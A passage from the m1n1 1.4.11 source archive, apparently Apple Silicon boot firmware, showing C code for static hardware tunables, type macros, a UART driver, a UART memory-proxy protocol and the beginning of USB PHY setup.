0; } int tunables_apply_local(const char *path, const char *prop, u32 reg_offset) { struct tunable_info info; if (tunables_adt_find(path, prop, &info, sizeof(struct tunable_local)) < 0) return -1; u64 base; if (adt_get_reg(adt, info.node_path, "reg", reg_offset, &base, NULL) < 0) { printf("tunable: Error getting regs\n"); return -1; } return tunables_apply_local_addr(path, prop, base); } m1n1-1.4.11/src/tunables.h000066400000000000000000000027111453754430200151370ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef TUNABLES_H #define TUNABLES_H #include "types.h" /* * This function applies the tunables usually passed in the node "tunable". * They usually apply to multiple entries from the "reg" node. * * Example usage for the USB DRD node: * tunables_apply_global("/arm-io/usb-drd0", "tunable"); */ int tunables_apply_global(const char *path, const char *prop); /* * This function applies the tunables specified in device-specific tunable properties. * These only apply to a single MMIO region from the "reg" node which needs to * be specified. * * Example usage for two tunables from the USB DRD DART node: * tunables_apply_local("/arm-io/dart-usb0", "dart-tunables-instance-0", 0); * tunables_apply_local("/arm-io/dart-usb0", "dart-tunables-instance-1", 1); * */ int tunables_apply_local(const char *path, const char *prop, u32 reg_idx); /* * This functions does the same as tunables_apply_local except that it allows * to specify the base address to which the tunables will be applied to instead * of extracting it from the "regs" property. * * Example usage for two tunables for the USB DRD DART node: * tunables_apply_local_addr("/arm-io/dart-usb0", "dart-tunables-instance-0", 0x382f00000); * tunables_apply_local_addr("/arm-io/dart-usb0", "dart-tunables-instance-1", 0x382f80000); */ int tunables_apply_local_addr(const char *path, const char *prop, uintptr_t base); int tunables_apply_static(void); #endif m1n1-1.4.11/src/tunables_static.c000066400000000000000000000203211453754430200164760ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "tunables.h" #include "adt.h" #include "pmgr.h" #include "soc.h" #include "types.h" #include "utils.h" /* * These magic tunable sequences are hardcoded in various places in XNU, and are required for * proper operation of various fabric features and other miscellanea. Without them, things tend * to subtly break... */ struct entry { u32 offset; u32 clear; u32 set; }; struct sequence { struct entry *entry; u64 base; }; struct entry t8103_agx_entry[] = { {0x30, 0xffffffff, 0x50014}, {0x34, 0xffffffff, 0xa003c}, {0x400, 0x400103ff, 0x40010001}, {0x600, 0x1ffffff, 0x1ffffff}, {0x738, 0x1ff01ff, 0x140034}, {0x798, 0x1ff01ff, 0x14003c}, {0x800, 0x100, 0x100}, {-1, 0, 0}, }; struct sequence t8103_agx_tunables[] = { {t8103_agx_entry, 0x205000000}, {NULL, -1}, }; // TODO: check masks struct entry t600x_agx_entry[] = { {0x0, 0x1, 0x1}, {0x10, 0xfff0000, 0xd0000}, {0x14, 0x3, 0x1}, {0x18, 0x3, 0x1}, {0x1c, 0x3, 0x3}, {0x20, 0x3, 0x3}, {0x24, 0x3, 0x3}, {0x28, 0x3, 0x3}, {0x2c, 0x3, 0x3}, {0x400, 0x400103ff, 0x40010001}, {0x600, 0x1ffffff, 0x1ffffff}, {0x800, 0x100, 0x100}, {-1, 0, 0}, }; struct sequence t600x_agx_tunables[] = { {t600x_agx_entry, 0x405000000}, {NULL, -1}, }; // TODO: check masks struct entry t8112_agx_entry[] = { {0x0, 0x200, 0x200}, {0x34, 0xffffffff, 0x50014}, {0x38, 0xffffffff, 0xa003c}, {0x400, 0xc00103ff, 0xc0010001}, {0x600, 0x1ffffff, 0x1ffffff}, {0x738, 0x1ff01ff, 0x14003c}, {0x798, 0x1ff01ff, 0x14003c}, {0x800, 0x100, 0x100}, {-1, 0, 0}, }; struct sequence t8112_agx_tunables[] = { {t8112_agx_entry, 0x205000000}, {NULL, -1}, }; struct entry t8103_ane_pmgr_entry[] = { {0x0, 0x10, 0x10}, {0x38, 0xffff, 0x50020}, {0x3c, 0xffff, 0xa0030}, {0x400, 0x4, 0x40010001}, {0x600, 0x0, 0x1ffffff}, {0x738, 0x1ff01ff, 0x200020}, {0x798, 0x1ff01ff, 0x100030}, {0x7f8, 0x1ff01ff, 0x100000a}, {0x900, 0x1, 0x101}, {-1, 0, 0}, }; struct entry t8103_ane_dart_entry[] = { {0xfc, 0x0, 0x1}, {0x2d0, 0x0, 0x0}, {0x2f0, 0x0, 0x0}, {0x34, 0x0, 0xffffffff}, {0x20, 0x0, 0x100000}, {0x60, 0x0, 0x80016100}, {0x68, 0x20202, 0xf0f0f}, {0x6c, 0x0, 0x80808}, {0x100, 0x0, 0x80}, {-1, 0, 0}, }; struct entry t8103_ane_dapf_entry[] = { {0x4, 0x0, 0x1}, {0x8, 0x0, 0x824000}, {0xc, 0x0, 0x8}, {0x10, 0x0, 0x8c7fff}, {0x14, 0x0, 0x8}, {0x0, 0x0, 0x11}, {0x44, 0x0, 0x1}, {0x48, 0x0, 0x0}, {0x4c, 0x0, 0xf}, {0x50, 0x0, 0xffffffff}, {0x54, 0x0, 0xf}, {0x40, 0x0, 0x33}, {0x84, 0x0, 0x1}, {0x88, 0x0, 0x2b45c000}, {0x8c, 0x0, 0x2}, {0x90, 0x0, 0x2b45c003}, {0x94, 0x0, 0x2}, {0x80, 0x0, 0x31}, {0xc4, 0x0, 0x1}, {0xc8, 0x0, 0x3b70c000}, {0xcc, 0x0, 0x2}, {0xd0, 0x0, 0x3b70c033}, {0xd4, 0x0, 0x2}, {0xc0, 0x0, 0x31}, {-1, 0, 0}, }; struct entry t8103_ane_dpe_sys_entry[] = { {0x3c, 0x0, 0x262}, {0x40, 0x0, 0x262}, {0x44, 0x0, 0x2c8}, {0x48, 0x0, 0x351}, {0x4c, 0x0, 0x391}, {0x50, 0x0, 0x404}, {0x54, 0x0, 0x441}, {0x58, 0x0, 0x4b5}, {0x5c, 0x0, 0x4ec}, {0x60, 0x0, 0x599}, {0x64, 0x0, 0x647}, {0x68, 0x0, 0x6f2}, {0x6c, 0x0, 0x82b}, {0x70, 0x0, 0x82b}, {0x74, 0x0, 0x82b}, {0x78, 0x0, 0x82b}, {-1, 0, 0}, }; struct entry t8103_ane_perf_entry[] = { {0x8, 0xff, 0xf8a96}, {0xc, 0xff, 0x11ca11}, {0x10, 0xff, 0x15c4ad}, {0x14, 0xff, 0x1cafc0}, {0x18, 0xff, 0x1c858e}, {0x1c, 0xff, 0x20cf3d}, {0x20, 0xff, 0x2087b1}, {0x24, 0xff, 0x294c83}, {0x28, 0xff, 0x2b6ffb}, {0x2c, 0xff, 0x2cfb4c}, {0x30, 0xff, 0x305c9b}, {0x34, 0xff, 0x2e277f}, {0x38, 0xff, 0x0}, {0x3c, 0xff, 0x0}, {0x40, 0xff, 0x0}, {0x48, 0xff, 0xd47e2}, {0x4c, 0xff, 0x11ca11}, {0x50, 0xff, 0x15c4ad}, {0x54, 0xff, 0x1a1c07}, {0x58, 0xff, 0x1c858e}, {0x5c, 0xff, 0x20cf3d}, {0x60, 0xff, 0x2087b1}, {0x64, 0xff, 0x270050}, {0x68, 0xff, 0x28cacd}, {0x6c, 0xff, 0x2b19cc}, {0x70, 0xff, 0x2b09f6}, {0x74, 0xff, 0x2cd4e0}, {0x78, 0xff, 0x0}, {0x7c, 0xff, 0x0}, {0x80, 0xff, 0x0}, {0x88, 0xff, 0xb8130}, {0x8c, 0xff, 0xf5f41}, {0x90, 0xff, 0x12b938}, {0x94, 0xff, 0x167287}, {0x98, 0xff, 0x14710e}, {0x9c, 0xff, 0x18b58d}, {0xa0, 0xff, 0x147c37}, {0xa4, 0xff, 0x1635ee}, {0xa8, 0xff, 0x18560a}, {0xac, 0xff, 0x18737e}, {0xb0, 0xff, 0x19e10d}, {0xb4, 0xff, 0x0}, {0xb8, 0xff, 0x0}, {0xbc, 0xff, 0x0}, {0xc0, 0xff, 0x0}, {-1, 0, 0}, }; struct entry t8103_ane_dpe_soc_entry[] = { {0x24, 0x0, 0x226}, {0x28, 0x0, 0x6b7}, {0x2c, 0x0, 0xd8}, {0x30, 0x0, 0x1af}, {0x34, 0x0, 0x35e}, {0x38, 0x0, 0x6bb}, {0x3c, 0x0, 0x226}, {0x40, 0x0, 0x6b7}, {0x44, 0x0, 0xd8}, {0x48, 0x0, 0x1af}, {0x4c, 0x0, 0x35e}, {0x50, 0x0, 0x6bb}, {0x54, 0x0, 0x21c}, {0x58, 0x0, 0x69a}, {0x5c, 0x0, 0xd4}, {0x60, 0x0, 0x1a8}, {0x64, 0x0, 0x34f}, {0x68, 0x0, 0x69e}, {0x6c, 0x0, 0x213}, {0x70, 0x0, 0x67c}, {0x74, 0x0, 0xd0}, {0x78, 0x0, 0x1a0}, {0x7c, 0x0, 0x340}, {0x80, 0x0, 0x680}, {0x84, 0x0, 0x210}, {0x88, 0x0, 0x671}, {0x8c, 0x0, 0xcf}, {0x90, 0x0, 0x19e}, {0x94, 0x0, 0x33b}, {0x98, 0x0, 0x675}, {0x9c, 0x0, 0x20b}, {0xa0, 0x0, 0x664}, {0xa4, 0x0, 0xcd}, {0xa8, 0x0, 0x19a}, {0xac, 0x0, 0x334}, {0xb0, 0x0, 0x668}, {0xb4, 0x0, 0x20b}, {0xb8, 0x0, 0x662}, {0xbc, 0x0, 0xcd}, {0xc0, 0x0, 0x19a}, {0xc4, 0x0, 0x333}, {0xc8, 0x0, 0x666}, {0xcc, 0x0, 0x20e}, {0xd0, 0x0, 0x66d}, {0xd4, 0x0, 0xcf}, {0xd8, 0x0, 0x19d}, {0xdc, 0x0, 0x339}, {0xe0, 0x0, 0x671}, {0xe4, 0x0, 0x212}, {0xe8, 0x0, 0x67a}, {0xec, 0x0, 0xd0}, {0xf0, 0x0, 0x1a0}, {0xf4, 0x0, 0x33f}, {0xf8, 0x0, 0x67e}, {0xfc, 0x0, 0x22d}, {0x100, 0x0, 0x6cc}, {0x104, 0x0, 0xda}, {0x108, 0x0, 0x1b4}, {0x10c, 0x0, 0x368}, {0x110, 0x0, 0x6d0}, {0x114, 0x0, 0x25f}, {0x118, 0x0, 0x768}, {0x11c, 0x0, 0xee}, {0x120, 0x0, 0x1dc}, {0x124, 0x0, 0x3b7}, {0x128, 0x0, 0x76d}, {0x12c, 0x0, 0x2ab}, {0x130, 0x0, 0x857}, {0x134, 0x0, 0x10c}, {0x138, 0x0, 0x217}, {0x13c, 0x0, 0x42e}, {0x140, 0x0, 0x85c}, {0x144, 0x0, 0x384}, {0x148, 0x0, 0xafd}, {0x14c, 0x0, 0x161}, {0x150, 0x0, 0x2c2}, {0x154, 0x0, 0x583}, {0x158, 0x0, 0xb05}, {0x15c, 0x0, 0x384}, {0x160, 0x0, 0xafd}, {0x164, 0x0, 0x161}, {0x168, 0x0, 0x2c2}, {0x16c, 0x0, 0x583}, {0x170, 0x0, 0xb05}, {0x174, 0x0, 0x384}, {0x178, 0x0, 0xafd}, {0x17c, 0x0, 0x161}, {0x180, 0x0, 0x2c2}, {0x184, 0x0, 0x583}, {0x188, 0x0, 0xb05}, {0x18c, 0x0, 0x384}, {0x190, 0x0, 0xafd}, {0x194, 0x0, 0x161}, {0x198, 0x0, 0x2c2}, {0x19c, 0x0, 0x583}, {0x1a0, 0x0, 0xb05}, {-1, 0, 0}, }; struct sequence t8103_ane_tunables[] = { {t8103_ane_pmgr_entry, 0x26a000000}, {t8103_ane_dart_entry, 0x26b800000}, {t8103_ane_dart_entry, 0x26b810000}, {t8103_ane_dart_entry, 0x26b820000}, {t8103_ane_dapf_entry, 0x26b804000}, {t8103_ane_dpe_sys_entry, 0x26b8f0000}, {t8103_ane_perf_entry, 0x26b908000}, {t8103_ane_dpe_soc_entry, 0x26b8f4000}, {NULL, -1}, }; static void tunables_apply(struct sequence *seq) { struct entry *entry = seq->entry; while (entry->offset != UINT32_MAX) { mask32(seq->base + entry->offset, entry->clear, entry->set); entry++; } } int power_and_apply(const char *path, struct sequence *seqs) { if (pmgr_adt_power_enable(path) < 0) { printf("tunables: Failed to enable power: %s\n", path); return -1; } while (seqs->base != UINT64_MAX) { tunables_apply(seqs); seqs++; } if (pmgr_adt_power_disable(path) < 0) { printf("tunables: Failed to disable power: %s\n", path); return -1; } return 0; } int tunables_apply_static(void) { int ret = 0; switch (chip_id) { case T8103: ret |= power_and_apply("/arm-io/sgx", t8103_agx_tunables); ret |= power_and_apply("/arm-io/ane", t8103_ane_tunables); break; case T8112: ret |= power_and_apply("/arm-io/sgx", t8112_agx_tunables); break; case T6000: case T6001: case T6002: ret |= power_and_apply("/arm-io/sgx", t600x_agx_tunables); break; default: break; } return ret ? -1 : 0; } m1n1-1.4.11/src/types.h000066400000000000000000000040761453754430200144740ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef TYPES_H #define TYPES_H #ifndef __ASSEMBLER__ #include #include #include #include typedef uint8_t u8; typedef uint16_t u16; typedef uint32_t u32; typedef uint64_t u64; typedef int8_t s8; typedef int16_t s16; typedef int32_t s32; typedef int64_t s64; typedef u64 uintptr_t; typedef s64 ptrdiff_t; typedef s64 ssize_t; #endif #define UNUSED(x) (void)(x) #define ALIGNED(x) __attribute__((aligned(x))) #define PACKED __attribute__((packed)) #define STACK_ALIGN(type, name, cnt, alignment) \ u8 _al__##name[((sizeof(type) * (cnt)) + (alignment) + \ (((sizeof(type) * (cnt)) % (alignment)) > 0 \ ? ((alignment) - ((sizeof(type) * (cnt)) % (alignment))) \ : 0))]; \ type *name = \ (type *)(((u32)(_al__##name)) + ((alignment) - (((u32)(_al__##name)) & ((alignment)-1)))) #define HAVE_PTRDIFF_T 1 #define HAVE_UINTPTR_T 1 #define UPTRDIFF_T uintptr_t #define SZ_2K (1 << 11) #define SZ_4K (1 << 12) #define SZ_16K (1 << 14) #define SZ_1M (1 << 20) #define SZ_32M (1 << 25) #define BIT(x) (1UL << (x)) #define MASK(x) (BIT(x) - 1) #define GENMASK(msb, lsb) ((BIT((msb + 1) - (lsb)) - 1) << (lsb)) #define _FIELD_LSB(field) ((field) & ~(field - 1)) #define FIELD_PREP(field, val) ((val) * (_FIELD_LSB(field))) #define FIELD_GET(field, val) (((val) & (field)) / _FIELD_LSB(field)) #ifdef __ASSEMBLER__ #define ULONG(x) (x) #define sys_reg(op0, op1, CRn, CRm, op2) s##op0##_##op1##_c##CRn##_c##CRm##_##op2 #else #define ULONG(x) ((unsigned long)(x)) #define sys_reg(op0, op1, CRn, CRm, op2) , _S, op0, op1, CRn, CRm, op2 #endif #endif m1n1-1.4.11/src/uart.c000066400000000000000000000060121453754430200142660ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include #include "adt.h" #include "iodev.h" #include "types.h" #include "uart.h" #include "uart_regs.h" #include "utils.h" #include "vsprintf.h" #define UART_CLOCK 24000000 static u64 uart_base = 0; int uart_init(void) { int path[8]; int node = adt_path_offset_trace(adt, "/arm-io/uart0", path); if (node < 0) { printf("!!! UART node not found!\n"); return -1; } if (adt_get_reg(adt, path, "reg", 0, &uart_base, NULL)) { printf("!!! Failed to get UART reg property!\n"); return -1; } return 0; } void uart_putbyte(u8 c) { if (!uart_base) return; while (!(read32(uart_base + UTRSTAT) & UTRSTAT_TXBE)) ; write32(uart_base + UTXH, c); } u8 uart_getbyte(void) { if (!uart_base) return 0; while (!(read32(uart_base + UTRSTAT) & UTRSTAT_RXD)) ; return read32(uart_base + URXH); } void uart_putchar(u8 c) { if (c == '\n') uart_putbyte('\r'); uart_putbyte(c); } u8 uart_getchar(void) { return uart_getbyte(); } void uart_puts(const char *s) { while (*s) uart_putchar(*(s++)); uart_putchar('\n'); } void uart_write(const void *buf, size_t count) { const u8 *p = buf; while (count--) uart_putbyte(*p++); } size_t uart_read(void *buf, size_t count) { u8 *p = buf; size_t recvd = 0; while (count--) { *p++ = uart_getbyte(); recvd++; } return recvd; } void uart_setbaud(int baudrate) { if (!uart_base) return; uart_flush(); write32(uart_base + UBRDIV, ((UART_CLOCK / baudrate + 7) / 16) - 1); } void uart_flush(void) { if (!uart_base) return; while (!(read32(uart_base + UTRSTAT) & UTRSTAT_TXE)) ; } void uart_clear_irqs(void) { if (!uart_base) return; write32(uart_base + UTRSTAT, UTRSTAT_TXTHRESH | UTRSTAT_RXTHRESH | UTRSTAT_RXTO); } int uart_printf(const char *fmt, ...) { va_list args; char buffer[512]; int i; va_start(args, fmt); i = vsnprintf(buffer, sizeof(buffer), fmt, args); va_end(args); uart_write(buffer, min(i, (int)(sizeof(buffer) - 1))); return i; } static bool uart_iodev_can_write(void *opaque) { UNUSED(opaque); return true; } static ssize_t uart_iodev_can_read(void *opaque) { UNUSED(opaque); if (!uart_base) return 0; return (read32(uart_base + UTRSTAT) & UTRSTAT_RXD) ? 1 : 0; } static ssize_t uart_iodev_read(void *opaque, void *buf, size_t len) { UNUSED(opaque); return uart_read(buf, len); } static ssize_t uart_iodev_write(void *opaque, const void *buf, size_t len) { UNUSED(opaque); uart_write(buf, len); return len; } static struct iodev_ops iodev_uart_ops = { .can_read = uart_iodev_can_read, .can_write = uart_iodev_can_write, .read = uart_iodev_read, .write = uart_iodev_write, }; struct iodev iodev_uart = { .ops = &iodev_uart_ops, .usage = USAGE_CONSOLE | USAGE_UARTPROXY, .lock = SPINLOCK_INIT, }; m1n1-1.4.11/src/uart.h000066400000000000000000000007671453754430200143060ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef UART_H #define UART_H #include "types.h" int uart_init(void); void uart_putbyte(u8 c); u8 uart_getbyte(void); void uart_putchar(u8 c); u8 uart_getchar(void); void uart_write(const void *buf, size_t count); size_t uart_read(void *buf, size_t count); void uart_puts(const char *s); void uart_setbaud(int baudrate); void uart_flush(void); void uart_clear_irqs(void); int uart_printf(const char *fmt, ...) __attribute__((format(printf, 1, 2))); #endif m1n1-1.4.11/src/uart_regs.h000066400000000000000000000014361453754430200153200ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #define ULCON 0x000 #define UCON 0x004 #define UFCON 0x008 #define UTRSTAT 0x010 #define UFSTAT 0x018 #define UTXH 0x020 #define URXH 0x024 #define UBRDIV 0x028 #define UFRACVAL 0x02c #define UCON_TXTHRESH_ENA BIT(13) #define UCON_RXTHRESH_ENA BIT(12) #define UCON_RXTO_ENA BIT(9) #define UCON_TXMODE GENMASK(3, 2) #define UCON_RXMODE GENMASK(1, 0) #define UCON_MODE_OFF 0 #define UCON_MODE_IRQ 1 #define UTRSTAT_RXTO BIT(9) #define UTRSTAT_TXTHRESH BIT(5) #define UTRSTAT_RXTHRESH BIT(4) #define UTRSTAT_TXE BIT(2) #define UTRSTAT_TXBE BIT(1) #define UTRSTAT_RXD BIT(0) #define UFSTAT_TXFULL BIT(9) #define UFSTAT_RXFULL BIT(8) #define UFSTAT_TXCNT GENMASK(7, 4) #define UFSTAT_RXCNT GENMASK(3, 0) m1n1-1.4.11/src/uartproxy.c000066400000000000000000000227731453754430200154040ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "uartproxy.h" #include "assert.h" #include "exception.h" #include "iodev.h" #include "proxy.h" #include "string.h" #include "types.h" #include "utils.h" #define REQ_SIZE 64 typedef struct { u32 _pad; u32 type; union { ProxyRequest prequest; struct { u64 addr; u64 size; u32 dchecksum; } mrequest; u64 features; }; u32 checksum; } UartRequest; #define REPLY_SIZE 36 typedef struct { u32 type; s32 status; union { ProxyReply preply; struct { u32 dchecksum; } mreply; struct uartproxy_msg_start start; u64 features; }; u32 checksum; u32 _dummy; // Not transferred } UartReply; typedef struct { u32 type; u16 len; u16 event_type; } UartEventHdr; static_assert(sizeof(UartReply) == (REPLY_SIZE + 4), "Invalid UartReply size"); #define REQ_NOP 0x00AA55FF #define REQ_PROXY 0x01AA55FF #define REQ_MEMREAD 0x02AA55FF #define REQ_MEMWRITE 0x03AA55FF #define REQ_BOOT 0x04AA55FF #define REQ_EVENT 0x05AA55FF #define ST_OK 0 #define ST_BADCMD -1 #define ST_INVAL -2 #define ST_XFRERR -3 #define ST_CSUMERR -4 #define PROXY_FEAT_DISABLE_DATA_CSUMS 0x01 #define PROXY_FEAT_ALL (PROXY_FEAT_DISABLE_DATA_CSUMS) static u32 iodev_proxy_buffer[IODEV_MAX]; #define CHECKSUM_INIT 0xDEADBEEF #define CHECKSUM_FINAL 0xADDEDBAD #define CHECKSUM_SENTINEL 0xD0DECADE #define DATA_END_SENTINEL 0xB0CACC10 static bool disable_data_csums = false; // I just totally pulled this out of my arse // Noinline so that this can be bailed out by exc_guard = EXC_RETURN // We assume this function does not use the stack static u32 __attribute__((noinline)) checksum_block(void *start, u32 length, u32 init) { u32 sum = init; u8 *d = (u8 *)start; while (length--) { sum *= 31337; sum += (*d++) ^ 0x5A; } return sum; } static inline u32 checksum_start(void *start, u32 length) { return checksum_block(start, length, CHECKSUM_INIT); } static inline u32 checksum_add(void *start, u32 length, u32 sum) { return checksum_block(start, length, sum); } static inline u32 checksum_finish(u32 sum) { return sum ^ CHECKSUM_FINAL; } static inline u32 checksum(void *start, u32 length) { return checksum_finish(checksum_start(start, length)); } static u64 data_checksum(void *start, u32 length) { if (disable_data_csums) { return CHECKSUM_SENTINEL; } return checksum(start, length); } iodev_id_t uartproxy_iodev; int uartproxy_run(struct uartproxy_msg_start *start) { int ret; int running = 1; size_t bytes; u64 checksum_val; u64 enabled_features = 0; iodev_id_t iodev = IODEV_MAX; UartRequest request; UartReply reply = {REQ_BOOT}; if (!start) { // Startup notification only goes out via UART reply.checksum = checksum(&reply, REPLY_SIZE - 4); iodev_write(IODEV_UART, &reply, REPLY_SIZE); } else { // Exceptions / hooks keep the current iodev iodev = uartproxy_iodev; reply.start = *start; reply.checksum = checksum(&reply, REPLY_SIZE - 4); iodev_write(iodev, &reply, REPLY_SIZE); } while (running) { if (!start) { // Look for commands from any iodev on startup for (iodev = 0; iodev < IODEV_MAX;) { u8 b; if ((iodev_get_usage(iodev) & USAGE_UARTPROXY)) { iodev_handle_events(iodev); if (iodev_can_read(iodev) && iodev_read(iodev, &b, 1) == 1) { iodev_proxy_buffer[iodev] >>= 8; iodev_proxy_buffer[iodev] |= b << 24; if ((iodev_proxy_buffer[iodev] & 0xffffff) == 0xAA55FF) break; } } iodev++; if (iodev == IODEV_MAX) iodev = 0; } } else { // Stick to the current iodev for exceptions do { u8 b; iodev_handle_events(iodev); if (iodev_read(iodev, &b, 1) != 1) { printf("Proxy: iodev read failed, exiting.\n"); return -1; } iodev_proxy_buffer[iodev] >>= 8; iodev_proxy_buffer[iodev] |= b << 24; } while ((iodev_proxy_buffer[iodev] & 0xffffff) != 0xAA55FF); } memset(&request, 0, sizeof(request)); request.type = iodev_proxy_buffer[iodev]; bytes = iodev_read(iodev, (&request.type) + 1, REQ_SIZE - 4); if (bytes != REQ_SIZE - 4) continue; if (checksum(&(request.type), REQ_SIZE - 4) != request.checksum) { memset(&reply, 0, sizeof(reply)); reply.type = request.type; reply.status = ST_CSUMERR; reply.checksum = checksum(&reply, REPLY_SIZE - 4); iodev_write(iodev, &reply, REPLY_SIZE); continue; } memset(&reply, 0, sizeof(reply)); reply.type = request.type; reply.status = ST_OK; uartproxy_iodev = iodev; switch (request.type) { case REQ_NOP: enabled_features = request.features & PROXY_FEAT_ALL; if (iodev == IODEV_UART) { // Don't allow disabling checksums on UART enabled_features &= ~PROXY_FEAT_DISABLE_DATA_CSUMS; } disable_data_csums = enabled_features & PROXY_FEAT_DISABLE_DATA_CSUMS; reply.features = enabled_features; break; case REQ_PROXY: ret = proxy_process(&request.prequest, &reply.preply); if (ret != 0) running = 0; if (ret < 0) printf("Proxy req error: %d\n", ret); break; case REQ_MEMREAD: if (request.mrequest.size == 0) break; exc_count = 0; exc_guard = GUARD_RETURN; checksum_val = data_checksum((void *)request.mrequest.addr, request.mrequest.size); exc_guard = GUARD_OFF; if (exc_count) reply.status = ST_XFRERR; reply.mreply.dchecksum = checksum_val; break; case REQ_MEMWRITE: exc_count = 0; exc_guard = GUARD_SKIP; if (request.mrequest.size != 0) { // Probe for exception guard // We can't do the whole buffer easily, because we'd drop UART data write8(request.mrequest.addr, 0); write8(request.mrequest.addr + request.mrequest.size - 1, 0); } exc_guard = GUARD_OFF; if (exc_count) { reply.status = ST_XFRERR; break; } bytes = iodev_read(iodev, (void *)request.mrequest.addr, request.mrequest.size); if (bytes != request.mrequest.size) { reply.status = ST_XFRERR; break; } checksum_val = data_checksum((void *)request.mrequest.addr, request.mrequest.size); reply.mreply.dchecksum = checksum_val; if (reply.mreply.dchecksum != request.mrequest.dchecksum) { reply.status = ST_XFRERR; break; } if (disable_data_csums) { // Check the sentinel that should be present after the data u32 sentinel = 0; bytes = iodev_read(iodev, &sentinel, sizeof(sentinel)); if (bytes != sizeof(sentinel) || sentinel != DATA_END_SENTINEL) { reply.status = ST_XFRERR; break; } } break; default: reply.status = ST_BADCMD; break; } sysop("dsb sy"); sysop("isb"); reply.checksum = checksum(&reply, REPLY_SIZE - 4); iodev_lock(uartproxy_iodev); iodev_queue(iodev, &reply, REPLY_SIZE); if ((request.type == REQ_MEMREAD) && (reply.status == ST_OK)) { iodev_queue(iodev, (void *)request.mrequest.addr, request.mrequest.size); if (disable_data_csums) { // Since there is no checksum, put a sentinel after the data so the receiver // can check that no packets were lost. u32 sentinel = DATA_END_SENTINEL; iodev_queue(iodev, &sentinel, sizeof(sentinel)); } } iodev_unlock(uartproxy_iodev); // Flush all queued data iodev_write(iodev, NULL, 0); iodev_flush(iodev); } return ret; } void uartproxy_send_event(u16 event_type, void *data, u16 length) { UartEventHdr hdr; u32 csum; hdr.type = REQ_EVENT; hdr.len = length; hdr.event_type = event_type; if (disable_data_csums) { csum = CHECKSUM_SENTINEL; } else { csum = checksum_start(&hdr, sizeof(UartEventHdr)); csum = checksum_finish(checksum_add(data, length, csum)); } iodev_lock(uartproxy_iodev); iodev_queue(uartproxy_iodev, &hdr, sizeof(UartEventHdr)); iodev_queue(uartproxy_iodev, data, length); iodev_write(uartproxy_iodev, &csum, sizeof(csum)); iodev_unlock(uartproxy_iodev); } m1n1-1.4.11/src/uartproxy.h000066400000000000000000000015611453754430200154010ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef __UARTPROXY_H__ #define __UARTPROXY_H__ #include "iodev.h" extern iodev_id_t uartproxy_iodev; typedef enum _uartproxy_start_reason_t { START_BOOT, START_EXCEPTION, START_EXCEPTION_LOWER, START_HV, } uartproxy_boot_reason_t; typedef enum _uartproxy_exc_code_t { EXC_SYNC, EXC_IRQ, EXC_FIQ, EXC_SERROR, } uartproxy_exc_code_t; typedef enum _uartproxy_exc_ret_t { EXC_RET_UNHANDLED = 1, EXC_RET_HANDLED = 2, EXC_EXIT_GUEST = 3, } uartproxy_exc_ret_t; typedef enum _uartproxy_event_type_t { EVT_MMIOTRACE = 1, EVT_IRQTRACE = 2, } uartproxy_event_type_t; struct uartproxy_msg_start { u32 reason; u32 code; void *info; void *reserved; }; int uartproxy_run(struct uartproxy_msg_start *start); void uartproxy_send_event(u16 event_type, void *data, u16 length); #endif m1n1-1.4.11/src/usb.c000066400000000000000000000277221453754430200141170ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "usb.h" #include "adt.h" #include "dart.h" #include "i2c.h" #include "iodev.h" #include "malloc.h" #include "pmgr.h" #include "string.h" #include "tps6598x.h" #include "types.h" #include "usb_dwc3.h" #include "usb_dwc3_regs.h" #include "utils.h" #include "vsprintf.h" struct usb_drd_regs { uintptr_t drd_regs; uintptr_t drd_regs_unk3; uintptr_t atc; }; #if USB_IODEV_COUNT > 100 #error "USB_IODEV_COUNT is limited to 100 to prevent overflow in ADT path names" #endif // length of the format string is is used as buffer size // limits the USB instance numbers to reasonable 2 digits #define FMT_DART_PATH "/arm-io/dart-usb%u" #define FMT_DART_MAPPER_PATH "/arm-io/dart-usb%u/mapper-usb%u" #define FMT_ATC_PATH "/arm-io/atc-phy%u" #define FMT_DRD_PATH "/arm-io/usb-drd%u" #define FMT_HPM_PATH "/arm-io/i2c0/hpmBusManager/hpm%u" static tps6598x_irq_state_t tps6598x_irq_state[USB_IODEV_COUNT]; static bool usb_is_initialized = false; static dart_dev_t *usb_dart_init(u32 idx) { int mapper_offset; char path[sizeof(FMT_DART_MAPPER_PATH)]; snprintf(path, sizeof(path), FMT_DART_MAPPER_PATH, idx, idx); mapper_offset = adt_path_offset(adt, path); if (mapper_offset < 0) { // Device not present return NULL; } u32 dart_idx; if (ADT_GETPROP(adt, mapper_offset, "reg", &dart_idx) < 0) { printf("usb: Error getting DART %s device index/\n", path); return NULL; } snprintf(path, sizeof(path), FMT_DART_PATH, idx); return dart_init_adt(path, 1, dart_idx, false); } static int usb_drd_get_regs(u32 idx, struct usb_drd_regs *regs) { int adt_drd_path[8]; int adt_drd_offset; int adt_phy_path[8]; int adt_phy_offset; char phy_path[sizeof(FMT_ATC_PATH)]; char drd_path[sizeof(FMT_DRD_PATH)]; snprintf(drd_path, sizeof(drd_path), FMT_DRD_PATH, idx); adt_drd_offset = adt_path_offset_trace(adt, drd_path, adt_drd_path); if (adt_drd_offset < 0) { // Nonexistent device return -1; } snprintf(phy_path, sizeof(phy_path), FMT_ATC_PATH, idx); adt_phy_offset = adt_path_offset_trace(adt, phy_path, adt_phy_path); if (adt_phy_offset < 0) { printf("usb: Error getting phy node %s\n", phy_path); return -1; } if (adt_get_reg(adt, adt_phy_path, "reg", 0, ®s->atc, NULL) < 0) { printf("usb: Error getting reg with index 0 for %s.\n", phy_path); return -1; } if (adt_get_reg(adt, adt_drd_path, "reg", 0, ®s->drd_regs, NULL) < 0) { printf("usb: Error getting reg with index 0 for %s.\n", drd_path); return -1; } if (adt_get_reg(adt, adt_drd_path, "reg", 3, ®s->drd_regs_unk3, NULL) < 0) { printf("usb: Error getting reg with index 3 for %s.\n", drd_path); return -1; } return 0; } int usb_phy_bringup(u32 idx) { char path[24]; if (idx >= USB_IODEV_COUNT) return -1; struct usb_drd_regs usb_regs; if (usb_drd_get_regs(idx, &usb_regs) < 0) return -1; 